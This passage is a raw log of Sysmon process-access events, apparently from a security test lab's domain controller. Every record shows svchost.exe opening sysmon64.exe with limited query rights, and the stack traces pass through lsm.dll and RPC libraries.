C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1332,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1333,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1334,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1335,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1336,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1337,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1338,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1339,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 